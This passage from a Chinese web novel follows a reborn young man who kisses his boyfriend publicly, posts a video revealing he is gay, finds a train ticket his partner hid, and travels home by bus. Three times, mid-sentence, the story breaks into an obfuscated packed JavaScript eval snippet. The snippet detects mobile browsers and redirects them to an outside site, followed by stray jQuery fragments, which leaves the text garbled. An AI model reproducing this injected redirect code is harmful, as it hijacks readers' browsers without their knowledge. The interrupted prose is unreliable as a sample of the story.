他不觉得楚州行会向自己的家人出柜。在小地方生活了一辈子的阿姨肯定接受不了自己儿子是个同性恋,纪敏嘉也设想过,假如他的爸妈还活着,知道他是个同性恋......那一定会打断他的腿。 只是朋友...... 那也特别特别好! 肉眼可见,纪敏嘉脸上的笑意怎么也压不住,他特别满意楚州行对两人的定位,朋友就特别特别好,他有理由出现在他的家人面前,可以在楚州行需要帮助的时候,堂堂正正出现在他面前。 他激动地用力点点头,“好!” 至于楚州行心里计划什么,他是一点都没看出来。 楚州行也没打算现在就告诉他。 他抢着从楚州行接过购物袋,走路的步子轻快,一蹦一跳的,时不时转头催促两手空空的楚州行再走快些。 他们路过一片深蓝色玻璃幕墙,两人模糊的影子从华丽的玻璃墙上一擦而过。 楚州行突然停住脚步。 纪敏嘉好奇地凑到他身边,“楚哥,你在看什么?” 楚州行仰面,他看不到玻璃的尽头,两人的倒影又特别小,近乎一团黑影。 “在看,两只蝼蚁。” 纪敏嘉盯着玻璃墙,开口,很坚定地说:“楚哥,你不是蝼蚁,你一定会成功!成为大明星!”说着,他气鼓鼓地盯着楚州行,好像一定要楚州行承认。 楚州行侧过脸看他,忽然笑了,“走吧,我的小蚂蚁。” 我会成功的。你只要在我的手心,用全力去爱我。 9. 男嫂子 天还没完全黑,街上就亮起路灯。 纪敏嘉拎着两个购物袋,手心勒得发白,神情却十分雀跃,他蹦蹦跳跳的,时不时回头看几眼楚州行。 “楚哥,你今天好慢。”他撒娇般催促,“走快点嘛。” 楚州行懒洋洋地跟在身后,故意逗他,“我老了,走不快。” 纪敏嘉先是一愣,小狗般绕到他身后,转了两圈,嚷嚷:“可你才二十一!” “心老了,走不动了。” 纪敏嘉两只手拎着购物袋,空不出手来,他绕着楚州行左左右右地转圈。忽然,他仰起脸,开心地说,“那我背你。” “好”,楚州行伸出手,“我先帮你拿着袋子”。 纪敏嘉还没反应过来,手里的购物袋就被楚州行拿走了。 楚州行单手拎着两只袋子,另一只手空垂着,他笑容淡淡的,神情姿态很是随意,身形比平日更显颀长挺拔,年久失修的路灯恰又在这时闪了一下,一瞬炽热的光芒在他年轻英俊的脸上一闪而过。 整个人有种说不出来的冷淡散漫。 纪敏嘉特别乖地躬下身。 刚才还说着“心老,走不快”的楚州行走到纪敏嘉身后,笑意微妙,他的手触摸纪敏嘉的后背,手指顺着一截脊骨细致地摩挲,如同把玩心爱的瓷器,指腹一寸一寸慢慢地探索。 纪敏嘉弯着腰,内衬的领口有点大,空荡荡地垂着。从楚州行的角度可以清晰地看到他凸起的锁骨,微微起伏的胸膛。 澄澈的灯光洒下来,他的睫毛被覆上一层暖色,漂亮的眼睛带着薄薄的水光。 看向楚州行的眼神是如此动情。 不知从哪来的冷风吹过,纪敏嘉起了一身鸡皮疙瘩,难以形容的痒意从相触点蔓延,他忍不住地颤栗。 “楚哥”,他想说些什么,却见楚州行单手一撑,利落地一个跃跳。 纪敏嘉感觉头顶刮起一阵风,他错愕抬头,只见楚州行拎着两个购物袋健步如飞,只给他留下一个潇洒的背影。 “楚哥——”这和预想的不太一样,纪敏嘉脊骨处残存着温度,对着楚州行的背影,他半边身子都是麻的,大声喊:“别跑那么快。” 楚州行没法回答他,他奔跑着。 他能想象到纪敏嘉的表情。 纪敏嘉总是特别乖地仰望他,眼神含情脉脉,这样的腼腆纯真却能激发楚州行潜藏的阴暗面。他自然舍不得伤害纪敏嘉,但欣赏纪敏嘉的脸色变幻不失为一种乐趣。 不知为何,他一下子就放松下来。 呛了口冷空气,楚州行一边跑一边咳嗽。 显然,他高估了自己的体力,拎着两大袋东西,他真的跑不快。 纪敏嘉在后面很着急地追,楚州行气喘吁吁,终于看到了熟悉的建筑物,就在这一刻,纪敏嘉追上了他。 他像颗炮弹,一下子就窜到楚州行面前,一下挡住楚州行面前的路。 楚州行差点撞到他。 “楚哥!”纪敏嘉真的生气了,生硬地从楚州行手里夺走购物袋,“你、你累不累?” 两人呼吸纠缠在一起,他的控诉倒像是在撒娇。 楚州行喘着气,他撑着膝盖一点点笑着,开始笑声不连贯,慢慢,气喘匀了,他的笑声逐渐清晰,他一把圈住纪敏嘉的脖颈,将身体的重量都压在肩膀上。 温热的鼻息洒在纪敏嘉颈窝处,他的皮肤和心脏一起发烫,痒得颤抖。 “不累。”楚州行心脏也在发烫,重生前的阴郁、潮湿的隐痛好似在这一刻得到了纾解,他捉着纪敏嘉的手,将它贴在自己的心口处,感受着血肉里急促地跳动。 他的眼睛完整倒映着纪敏嘉的容貌,说话时,纪敏嘉甚至能感觉到楚州行的睫毛扇来的弱风。 “摸到了吗,我的心跳?” 他的目光紧紧追随着纪敏嘉,两人之间没有距离,他身上淡淡的香味袭来,熟悉的气息让纪敏嘉心慌意乱,他后退半步,楚州行却紧紧攥住他的手。 “感觉到了吗?”楚州行在笑,神态认真,“我的心为你跳动。” 温热的鼻息扑在纪敏嘉脸上,他的脸肉眼可见地通红。 他们藏在路灯下,灯光如柱将他们完全笼罩,宛若舞台上的主人公,只要有人路过肯定会被他们亲昵的动作吸引。 他们无所遁形的亲密。 纪敏嘉声音微微发颤:“楚哥——”楚州行以为他害怕了,这里距离他们租住的房子只有几步路的距离,随时可能有熟悉的邻居经过。 他抓着纪敏嘉的手指,送到唇边亲,“敏嘉,没关系的,我是同性恋不会影响到什么,你不要害怕。” 不必遇到人就躲起来。 纪敏嘉睫毛动了动,楚州行爱怜地抚摸他的脸,“是我错了,我教错了。” 纪敏嘉第一次鼓起勇气牵他手时,楚州行因为害怕,一下子就甩开了。 楚州行害怕暴露性取向,他怕别人的有色眼镜、害怕被排斥。 他不想成为他人眼中的异类。 楚州行还记得那句:“一定要藏好我们的关系,这件事不能被外人发现。”他语重心长地摸着纪敏嘉的脑袋,“保护好我们,好吗?” 记忆里的纪敏嘉太年轻了,他双手紧握贴在前胸,眼神坚定,重重点头。 似乎藏起自己,藏起两人的爱就能保护好楚州行。 楚州行眼神怜爱,他的手指挑起纪敏嘉的下巴,忽然强硬地捏住他的下颌,纪敏嘉瞳孔一缩,楚州行直接印上去一个深吻。 前面就是两人的家。 就在路灯下,楚州行吻了纪敏嘉。 “楚哥”,纪敏嘉从震惊中回神,想推开楚州行,楚州行却早有防备,捏住纪敏嘉的手腕,身体更贴近。 两人呼吸都有点喘,纪敏嘉结结巴巴,“会被、看到......” 楚州行没有搭理,他径自撬开纪敏嘉的唇舌,纪敏嘉被迫接受他的入/侵,好一会儿,纪敏嘉舌头酸胀,努力将脸侧开,楚州行这才松开他。 楚州行舔了舔鲜红的唇,“那就让他们看。”他温柔地用指腹擦拭着纪敏嘉的嘴唇,“娱乐圈什么都有,别瞎操心了。” 那群玩意吸.毒.嫖.娼,做鸡做鸭做小三,撞了人都敢肇事逃逸,他这个同性恋又算得了什么? 娱乐圈,同性恋还少吗? 楚州行单手揽着纪敏嘉的后背,轻轻拍了拍,“回家吧。” 纪敏嘉失魂落魄跟在楚州行身后,时不时侧脸偷睥楚州行,他的手空垂着,手指动了动,始终没勇气握住楚州行的手。 就这样走了一段路,楚州行用钥匙打开房门,纪敏嘉这次鼓足勇气,上前,握住楚州行的手,恰此时,门缓缓关上。 啪。 灯一下子打开,刺眼的光芒晃得纪敏嘉低下头。 楚州行一直没松开他的手。 . 自从知道楚州行要带他回家,纪敏嘉整个人都处于亢奋中。 挑选衣服,打理头发,认真将自己从头到尾洗了两遍。 当他擦着湿漉漉的头发走出简易的浴室,皮肤都被水泡得发白。 裹着一身潮热的水汽,纪敏嘉悄声走到楚州行身后,伸出手。 楚州行正在剪视频,察觉到他的靠近也只当不知道,嘴角微微勾起,他像最狡诈老练的猎手,等待着猎物送上门。 “楚哥!”纪敏嘉伸出手从背后抱住楚州行的肩膀,亲亲热热地凑到他身边,小狗一样磨蹭着楚州行的脖颈,“你在干嘛。” 明明已经看清了楚州行在剪辑什么,纪敏嘉还想要楚州行回答他。 他就想跟楚州行说说话。 “蹭我一脸水。”楚州行语气“嫌弃”,动作却不客气,空出一只手抓住了纪敏嘉的手臂,“在挣钱。” 楚州行挺现实的,他没有沉迷于大明星的美梦,帝漂两年,他努力过扩展赚钱的渠道。 短视频还没兴起的年代,他就试过记录生活来赚钱。 可惜没什么规划,楚州行运营的账号乱七八糟的。 生活中发生什么,他就记录什么,就像他的id名[帝漂的每一天]。 纪敏嘉刚搬来时,楚州行的账号上全是:[花费一百块耗时一周,我终于完成了一张木板床][改装家具的小技巧][木工小白入门教程:如何制作四角八叉凳]。 两人热恋,楚州行的账号又变成了:[浪漫情人节将近,渐变色玫瑰花教程][教你折一只小翼龙][只需用到微波炉的小狗蛋糕教程来啦]。 当然最多就是[帝都生活,不超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691012|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过20元一顿饭]。 楚州行拍的视频很细碎,赚到的钱也不多,一条视频全平台发送,也就赚到二三十块的样子。 楚州行和纪敏嘉都挺满足,剪辑视频只耗费时间,他们最不缺的就是时间,两人互相帮扶、互相支持,也过得很幸福。 通常,楚州行做饭,纪敏嘉帮他打下手、帮他拍摄。 晚上吃完饭,楚州行剪视频,纪敏嘉就洗碗、打扫卫生。 纪敏嘉搂着他看了一会,一直蹭楚州行的脖子,见楚州行还沉迷于剪辑视频,他又咬了咬楚州行的脸,温热的鼻息洒在楚州行颈项间,无声地催促着。 楚州行被他拱得痒痒的,笑着说:“你先睡,我还差一点点。” 纪敏嘉恋恋不舍地蹭楚州行,“我先去床上了。”说着要离开,他又搂着抱了很久。 楚州行手里的动作不停。这些录像对于纪敏嘉,不过是几天前发生的事,对于楚州行,却是上辈子那么遥远。 他一边剪一边回忆。 哪一段应该剪掉?哪个插件能添加音乐?现在流行什么脚本风格? 视频里纪敏嘉帮他拿锅盖,没有露脸,只有系着围裙的半身,一截白皙的手臂。 视频里的自己将炸好的鸡排喂给纪敏嘉咬一口,酥脆的声响伴随着两人的笑声。楚州行只是看着,就觉得好幸福。 以前的视频里,楚州行会把纪敏嘉全部剪掉,连他的声音都用变音软件拉得奇奇怪怪。 现在...... 楚州行故意截了一段两人打闹片段插进视频,只是将纪敏嘉的声音剪低、改变了音调。 能听得出是个男人,却不会直接暴露纪敏嘉的身份。 做完一切,楚州行点击[发布], 他坐在椅子上,双手合拢,想起了上辈子。 上辈子,楚州行回家乡种橙子,他的一些粉丝找到了他,并为他提供了许多帮助。 有几个粉丝甚至直接留下来帮他,他们如亲人一般生活了一段时间。 楚州行现在仍记得,那天傍晚,他们在修剪果树,他手臂痛得要命,靠在树上休息。王晨一脸痛苦地握着园艺剪,着急地直跺脚。 她劝楚州行去看病,说话时又支支吾吾,好像有什么难以启齿的内容要说,见楚州行痛得厉害,她一咬牙就说要带楚州行去治梅毒。 她说话很坚决,神情又太悲壮,“你别担心,一定能治好的!” 楚州行现在想起那一幕都忍不住捂额。 他自然没得那种病,是王晨误会了。那段时间他浑浑噩噩的,时不时神经痛,王晨拿他症状搜了搜,就以为他梅毒晚期了。 不过这也暴露一件事。 王晨作为他曾经的大粉,对他乱七八糟的情史是一清二楚。 王晨告诉他,其实粉丝早就买到了他的身份证,开出他所有社交账号和一切能被记录下来的隐私。 她们知道他靠什么爬上去的,但她们为他保密,哪怕他仓皇入狱,她们也没把这些事爆出来。 她们早就知道他妹妹在坐/台。 他所有阴湿的痛苦,不能见光的丑陋面她们都知道。 那天,楚州行崩溃问王晨:“为什么知道这些事还喜欢我?” 王晨大哭,她比楚州行还要伤心:“我们知道你妈的病,你这些年过得痛不痛啊?” 粉丝真的是很复杂的生物,直到现在楚州行都不明白她们哪来的真心。 他的粉丝,有人在高速上围堵他的车,将他逼停,差点害死他。 有人藏进他家衣柜,窥视他,操控着无人机徘徊在他家四周,偷拍他的隐私。 有人替他得罪剧组的投资人,逼得他只能陪酒道歉。 还有人在他什么都没有的时候,毅然拿出积蓄帮助他。 楚州行最初的橙子上市,几乎都是粉丝购买的。 楚州行双手交叠,看着电脑上逐渐上涨的播放量,他笑了。 这辈子,他不打算立单身、异性恋的人设,也不会卖弄人设去欺骗、压榨粉丝。至于那些喜欢扒隐私的私生们,这儿有一个惊喜等着她们。 这个视频就是为她们剪的。 a surprise! 他真的是gay,真的有个“男嫂子”。 10. 晚安吻 楚州行习惯睡前洗澡。 他走进简易的浴室,调试水温。 “呲——”热水喷涌,溅了楚州行一脸。 楚州行捂住眼,水珠不停地从脸侧滴落。 自制的淋浴器水压并不稳定,一桶水用到最后变得滚烫,楚州行强忍着不正常的水温。 水流烫过的地方呈现出不自然的红色。 楚州行也试着往桶里添冷水,可几勺水加进去,喷头流出来的水又太冰了。 他的头发挂着水珠,湿漉漉往下洇。 楚州行蹲下摆弄了一会淋浴器,费了功夫还是忽冷忽热,他只能放弃。沉默地挤了一泵洗发水,闭上眼,用指腹搓洗着头发。 水流冲刷着他的身体。 楚州行想:二十一岁的楚州行应该很擅长调试这种简陋的机器,一定不会像现在这般茫然无措。 简单地洗完澡。 楚州行整理两人换下的衣物,分类送进洗衣机。 他们只有一台很小的洗衣机,一次性最多只能洗五六件衣服。 以往,纪敏嘉会将两人的衣裤分开洗。 既节约用电,又防止衣裤遇水窜色。 他们的洗衣机太娇贵了,洗衣服前要掏干净每个口袋,如果口袋里有纸巾纸币,洗完,所有衣服上都会有絮状的白色纸棉。 甩水也是甩不干的,需要人手动去拧。 冬天的衣服沾满水,很重,就需要两个人配合。 一个人抓着衣摆一个抓住衣领,绕着相反的方向使劲拧。 楚州行翻着衣裤的口袋,想起两人配合时的滑稽场景,嘴角挂起笑意。 纪敏嘉会抱住衣物,用力地拧。他以为只要自己出力多,楚州行就能省点力气,可惜每次都会弄得自己一身水。 想着...... 楚州行从口袋摸出什么。 薄薄的,纸片质感,他低头看,竟是一张车票。 [帝都西——朝城] 朝城是纪敏嘉的家乡。 楚州行捏着车票发呆。 车票被折得很整齐,发车时间显示是明天10:30。 它整整齐齐地藏在纪敏嘉的口袋里。 上辈子也有这张车票吗? 他回家乡做什么? 楚州行想到无数种可能,脑子涨得厉害,额间青筋一跳跳。 他不敢去想,可心里早就有了答案。 他忍不住伸手捂住脸,痛苦地咬紧牙。 纪敏嘉的家事他有所了解。 父母死后,纪敏嘉被叔父收养,他父母给他留下一套房子,是他们那里一所高中的学区房。父母死后,他的叔父就带着老婆孩子住进他家。 后面的事,纪敏嘉没说,楚州行也能猜出来。 纪敏嘉来帝都打工只有十七岁。 纪敏嘉脾气好,很听话,说话时慢吞吞笑眯眯的,楚州行想不出哪个长辈能那么狠心,让他这样的没有生活自理能力的未成年背井离乡辍学去打工。 是他叔父一家人!沆瀣一气、鸠占鹊巢吃绝户! 楚州行恨得浑身发抖。 上辈子,纪敏嘉肯定也回过家乡。 他可能是想把房子拿回来,或许是问叔父他们借钱,他想为楚州行筹到第一笔手术费。 他逃离的家乡、他害怕的亲人成了最后的救命稻草。 他怀着什么样的心情回到家乡? 他又是如何恳求、向亲人们乞求? 他这般好脾气的人又会被怎样磋磨? 上辈子,楚州行没等到纪敏嘉的救命钱。楚州行很清楚,纪敏嘉筹到钱一定会来找他,可他最后什么都没得到,又绝望地回到帝都。 ‘楚哥,会有办法的,你放心,我会想办法......’ 他说这话时想到了什么,是父母留下的房子吗?所以他才敢向楚州行保证。 他孤注一掷地回家,去讨要自己的东西,最终...... 楚州行坐在洗衣机上,手里的车票很沉重,重到楚州行手指颤抖,无力再放下它。 “敏嘉啊......”楚州行似笑又似哭,“你让我好痛。” . 楚州行走进卧室时,纪敏嘉已经睡着了。 他睡姿很文静,一只手露在外面抱着被子,睡颜清纯,睫毛微翘,露出一截白皙光滑的颈项。 呼吸一起一伏,像一只很乖的小动物,毫无戒备。 纪敏嘉给他留了一盏灯,微黄的光芒照亮半张床。 楚州行轻手轻脚靠近,掀开被子一角,本该熟睡的纪敏嘉忽然动了下,他睡得懵懵懂懂,梦呓般呼唤楚州行:“楚......哥。” “我在。”楚州行躺在床上,抓住他的手,轻轻捏了下。“睡吧。” 纪敏嘉半醒不醒地往里挪,要将位置让给楚州行。他睡过的地方很暖和,楚州行躺平,纪敏嘉又幅度很小地往楚州行这边挪了一点、又挪了一点。 身体的本能驱使纪敏嘉去追逐身边的温暖。 躺在纪敏嘉身边,楚州行也觉得好温暖。 关了灯,屋子里漆黑一片。 楚州行安静地躺着,脑海里无数念头涌动,他回忆每个细节,越觉得痛苦,负面情绪如潮水,一点点要将他溺死在悲哀的漩涡中。 昏暗中,他听到纪敏嘉呼唤他的名字,“楚哥......你好像忘了什么?” 他的音调软绵绵的,像在撒娇,又带了一丝羞怯。 就好像一束光,将楚州行从深渊中拽出来。 听纪敏嘉说话,楚州行的心就平静下来。 楚州行没有开口,喉咙里溢出一声“嗯?” 纪敏嘉卷着被子蛄蛹到楚州行身侧,紧紧贴着他,他的脸蹭到楚州行脸颊处,温热的鼻息洒在楚州行耳边。 身在黑暗中,人的听力被无限放大。 纪敏嘉的嗓音软软的,带着困倦。 “以前,你都会给我......晚安吻。”他说着又不好意思了,将脸埋进被子里,瓮声瓮气地提示,“今天,你还没亲我。” 楚州行先是一愣,黑暗中,他无声无息地笑了。 纪敏嘉的手指碰到楚州行的手背,指腹擦过楚州行指甲盖时,楚州行全身血液一滞,这是一种很奇妙的触感,好像一条柔软的舌轻轻地舔过他心脏。 “过来点。”楚州行声音低沉,“我找不到你的唇。” 纪敏嘉信了他,黑暗中,他伸手摸到了楚州行的脸,摸清了楚州行的嘴巴,他向上爬了一点,主动将自己的唇送到楚州行嘴巴上。 “楚哥......”溢出的声音软绵绵的,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691013|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到了吗......” 双唇接触,混着彼此温暖气息。 不知道是谁先主动的。 纪敏嘉睁着眼,他的睫毛扑闪,带着一点湿光,他们的唇都是软的,两人的心跳宛若煮开的鸡蛋,滚啊滚,浮浮沉沉,碰撞着胸腔,无数的情绪被撞碎,化作一滩胶黏的爱水。 两人吻得温柔又缱绻,比蜻蜓点水要重一点。 纪敏嘉被吻得浑身发烫,脸颊都要烧起来,但他舍不得推开楚州行,他的手指微微蜷曲。 两人肌肤相触间黏得潮热。 “楚......哥,我......好爱......你。”爱意自然而然流淌出来。 楚州行声音喑哑,呼出的气息都带着难以言述的诱惑,“还记得,我怎么教你?” 纪敏嘉仔细回忆。 他思考得并不久,楚州行却觉得太久了。 “分开我的唇......将舌头伸进来。”楚州行引诱。 于是,纪敏嘉伸手捧住楚州行的脸,将上半身压在楚州行肩上,低着头,用自己的唇轻轻碰了下楚州行的唇,和楚州行预想的一样,他一连亲了好几次,才鼓足勇气将自己的舌头探进去。 他的动作纯情羞涩得要命,睫毛一直颤抖着。 楚州行被他试探着,心软得要化成水。 纪敏嘉展现出的青涩单纯极大地取悦了楚州行。 被他亲了好一会儿,楚州行才伸手搂住纪敏嘉的后脑勺,在纪敏嘉微愣的注视下,他姿态强硬地教导他如何接吻。 这次,纪敏嘉想退出也退不了,舌头酸得要命。好一会儿,楚州行终于松开了手,纪敏嘉已经初步学会了如何接吻。 他小口喘着气,伏在楚州行胸膛上颤栗。 楚州行的心脏随着他而颤栗。 他心里有一个声音,一遍遍重复,一遍遍告知他:纪敏嘉是他的,纪敏嘉所有技巧都是他的教的,纪敏嘉应该只属于他。 纪敏嘉确实只属于他。 楚州行目光深沉,他爱恋地抚摸纪敏嘉柔软的发丝,纪敏嘉胸膛里全是楚州行传递来的暖意,指尖酥麻地没有知觉。 纪敏嘉仿佛处于混沌中,意识都是飘忽的。 就在这时,楚州行忽然问:“你从哪里借来的钱?” 他的声音很轻缓,几乎在哄。 纪敏嘉头晕脑胀,什么都说出来了,“套、套现的信用卡。” 他眼底朦胧着一层水光,湿漉漉潮津津的。 “嗯。”楚州行应了声,继续吻他,纪敏嘉只喘了一口气有被动陷入无垠的风浪中,“套了多少?” “两万。”纪敏嘉喘了口气,整个人想要飘起来,补充:“我还可以再、借。” “用完了呢?”楚州行将他完全笼罩在自己的气味里。 “我、我有办法的。”纪敏嘉声音沙哑,又带着一丝狡猾,如一段绸面轻轻擦过楚州行的心,“我还有好多好多钱。” 楚州行此刻确定,纪敏嘉真的想卖了父母留给他的房子。 楚州行意味不明地“嗯”了声,他捧着纪敏嘉的脸,一点点舔他的嘴唇,就像很久之前,纪敏嘉偷亲他一样。 纪敏嘉眼神巴巴的,心跳很快,就任由他将自己带入爱河。 楚哥,我好爱你,我真的好爱你。 11. 回家 楚州行出生在H省C市的一个小山村。 从帝都坐车到H省的省会,要走一千多公里。从省会到C市,又是两百多公里。从C市到楚州行的家,还有一百多公里的山路。 路途不可谓不遥远。 楚州行“帝漂”两年,也就回去过一次。 收拾好东西,楚州行就带着纪敏嘉到狮子桥长途客运站买票。 卖票的窗口零零散散站着几个人,售票员嗑着瓜子,嘴里“呸呸”吐着皮,手脚麻利地给车票盖章。 纪敏嘉自告奋勇去排队,楚州行就找了个位置坐下看行李,没一会儿,纪敏嘉喜气洋洋地挥着两张车票回到他身边。 “下一班车,还有八分钟就发车了,咱们今天运气真好。”他将车票举给楚州行看。 客运站二十四小时亮着白炽灯,纪敏嘉头发蓬松,发质细黑,强烈的光线下他的发顶波光流转,呈现出一种毛茸茸又温暖的质感。 说话的腔调也软,眼梢眉间是少年特有的不谙世事。 “没那么快。”楚州行笑了笑,将矿泉水递给他。 纪敏嘉不肯先喝,非要楚州行尝一口才美滋滋地喝掉大半瓶。 他嘴唇沾了水色,亮晶晶的,与楚州行面对面说话,楚州行总想亲他。 “为什么?”他表情一贯地纯真。 楚州行意味深长地看了纪敏嘉一眼,勾勾手指。 纪敏嘉立即凑到楚州行面前,两人靠得极近,肩膀碰着肩膀,膝盖挨着膝盖。 纪敏嘉一脸期待,楚州行清了清嗓子,似乎打算发表什么长篇大论,纪敏嘉神情更专注了,他甚至端正了坐姿,将手规规矩矩地搁在膝盖上。 忽然,楚州行伸手,在纪敏嘉疑惑的目光下,轻轻地弹了下他的鼻尖。“不告诉你。” “?”纪敏嘉被吓了一跳,身子不由地后仰。 他的眼神水汪汪的,像极了被揪尾巴的小狗。 “楚哥!” 见楚州行一直在笑,纪敏嘉哼哼唧唧,“那我自己去问。”楚州行一摊手,就笑着看着他。 还差几分钟就是票上规定的发车时间。 纪敏嘉走到检票口,不知道跟检票员说了什么,就听见检票员的大嗓门全场广播:“发什么车?这才几个人!现在发车不亏死?再等等,你!要么去吃东西、要么上厕所,别绕着我叨叨。” 纪敏嘉被说得脸颊臊红,逃回位置上就不说话。 楚州行笑着搂住他,纪敏嘉伏在他肩膀上。 “耳朵都红了。”楚州行捏了他的耳垂,“起来吧。” 纪敏嘉拼命摇头,楚州行拍他后背,温柔地哄:“好啦——没人看你。” 还是不肯起来。 楚州行换了个方式,“你压痛我的肩膀了”,话音未落,纪敏嘉立即挪开了身子,他脸红得厉害,看得楚州行都燥热起来。 楚州行没有注意到自己说话时音色勾了一下,“长途车都是大巴士,上千公里只拉几个人,票价还不够油费。他们发车时都会再等等,看看能不能多捞几个人,如果人实在太少,还会让兄弟客运站用车把相同行程的旅客拉过来凑数。” 他看着纪敏嘉,眼神带笑,“你脸皮太薄了。”他鼓励,“胆子大一点。” 男人在爱人面前总会炫耀自己。 楚州行又说:“你要像我这样,脸皮厚一点。就算别人扇我一巴掌,我也会继续笑。” 纪敏嘉突然打断,“为什么要打你?”他注意点放在别处,特别生气地说:“凭什么扇你!” 他气鼓鼓的。 “我是在假设啊,宝贝。” “那也不能打你!” 很久,楚州行说不出一句话。 连假设,纪敏嘉都会气成这样。还好上辈子纪敏嘉死得早,不然看到自己摔下来,他该多难过? . 客运汽车走在高速上,沿途都是深色的金属护栏和绿得累人的行道树。 一开始,纪敏嘉还举着手机,对着一晃而过的野花高兴地拍来拍去。见得多了,风景开始重复,纪敏嘉也累了,靠着窗户,睡着了。 车上的第二个小时,过道隔壁的大爷脱下了自己的皮鞋,将脚搭在前面人的靠背上。 难以言表的恶臭熏醒了前后左右一圈人。 纪敏嘉捂着嘴干呕,楚州行给他找水喝,又翻找包里的湿巾。 “大爷,您能不能穿上您的鞋,这味熏得我头疼。”楚州行开口提醒。 见他开口,身后的一对小情侣也七嘴八舌地控诉:“这他妈也太臭了,有点公德心。”“大爷,你这是生化武器吧?” 被他们点名的老大爷一撇眼,冷哼一声,理都不理。 楚州行见软的不行,他站起身。 纪敏嘉用湿巾捂住鼻子,连忙拉住楚州行的衣角,示意自己没事。楚州行拍拍他的手背,安抚地笑一下,又走向那个老大爷。 纪敏嘉连忙跟上,站到楚州行身边。 老大爷一看两个男人站在走道上,架势很是唬人,他狗急跳墙先开口骂:“你们想干嘛!救命啊,有人要打老人了!有没有天理了!打人了!啊呦喂,杀人了!” 他叫嚷着,却不愿意放下脚。 一副“我看你们拿我怎么办”的贱样。 纪敏嘉被他的先发制人唬住了,愣了片刻,想上前与他争辩。 楚州行将他揽到身后,笑眯眯的,似乎一点没生气。 他上前一步,伸手扶住老大爷的靠背,语气很是和善,“大爷。”话没说完,老大爷直接打断,“滚滚滚。” 楚州行还是笑着,他略微弯下身。老头等着看他笑话,谁想,下一秒。 “呕——” 楚州行对着老头的头顶,呕得翻江倒海,他表演得十分夸张,整间车厢都听到他令人倒胃的呕吐声。 老头脸色瞬间青了,脑子瞬间有了画面,仿佛下一秒,无数食物残渣就要混合胃酸,喷他一脸。老头肯定,如果楚州行真的呕出来,一定会故意吐他全身。 他惊恐嫌弃至极,伸手去推楚州行。 手还没触碰到他,楚州行自己站直身,又恢复了正常。 简直是个医学奇迹,上一秒还“翻江倒海”,下一秒又笑眯眯。 楚州行单手握拳,抵在嘴边,清嗓子般咳嗽了两声,继续笑着说:“大爷。” 老头只觉得毛骨悚然,继而一股无名之火熊熊燃烧。 好小子,刚才是装的? 他打定主意,今天就算天塌下来,也不穿鞋。 让你小子恶心人,那就看看今天谁恶心得过谁。 楚州行就笑着抵唇,一边说话一边咳嗽,“我也是忍不住,您啊,多包涵。前几天我看新闻,一小孩被送去抢救,医生说是真菌感染,一问才知道,原来小孩的爸爸总是给小孩闻臭袜子。” 说着,他又咳了两声,似乎很是苦恼,“我感觉肺不太舒服了。” 老头吹胡子瞪眼,“你可别赖我!” 他话还没骂完,一旁看热闹的女生先忍不了,她听着楚州行的咳嗽声,自己嗓子痒得不行,肺也痒起来了。她几乎是哭着跟自己男朋友说:“老公,我也想咳嗽,是不是真菌感染了?” 坐在旁边的男生瞬间火大,冲到老头面前,一把揪住老头的衣服,恶狠狠地威胁:“我操你妈,死老头,你让我老婆不舒服了!”他把老头提溜起来,就要上拳头。 老头躲,嚎叫着。旁边人急得喊“打架了”,司机大吼:“车内不要乱动!在高速上!”,更多人看热闹。 一时间,整个车厢都沸腾起来。 慌乱中,准备死扛着不穿鞋的老头灰溜溜将鞋穿好,他被男生揪得害怕,哆哆嗦嗦地,“有话好好说。” 吵闹中,楚州行带着纪敏嘉回了座位。 经过这么一闹,纪敏嘉头昏脑涨,但他还挺开心,靠在楚州行肩膀上,偷偷地笑。 楚州行伸手摸了摸他的额头,爱怜地打理他的头发,“再睡一会吧。” “嗯”,纪敏嘉闭上眼假寐,楚州行将窗帘拉起来,一小片空间顿时陷入黑暗中。 又吵了几分钟,男生雄赳赳气昂昂地回到自己的位置上,女生给他递橘子吃,夸英雄般夸奖他,“老公,你好厉害!” 男生被夸得眉飞色舞,他瞥到了前排的楚州行,拿起几个橘子,走到他面前,洋洋得意地炫耀,“兄弟,对付这种老不死的就要狠,你跟他客气没用,他听不懂人话,你越客气,他越蹬鼻子上脸。” 他把橘子给楚州行,又看了纪敏嘉几眼,觉得两人的姿势有些奇怪,但他又说不出奇怪点,“这些橘子给你们吃......你们是兄弟啊?” 楚州行还是笑眯眯的,好脾气地道谢:“谢谢,他是我弟。”说着,楚州行剥了一片橘子喂给纪敏嘉,像喂仓鼠,没见嘴巴怎么动,一片橘子就吃完了。 “甭客气”,男生一挥手,“不够再来拿。” 男生走后,楚州行就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691014|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 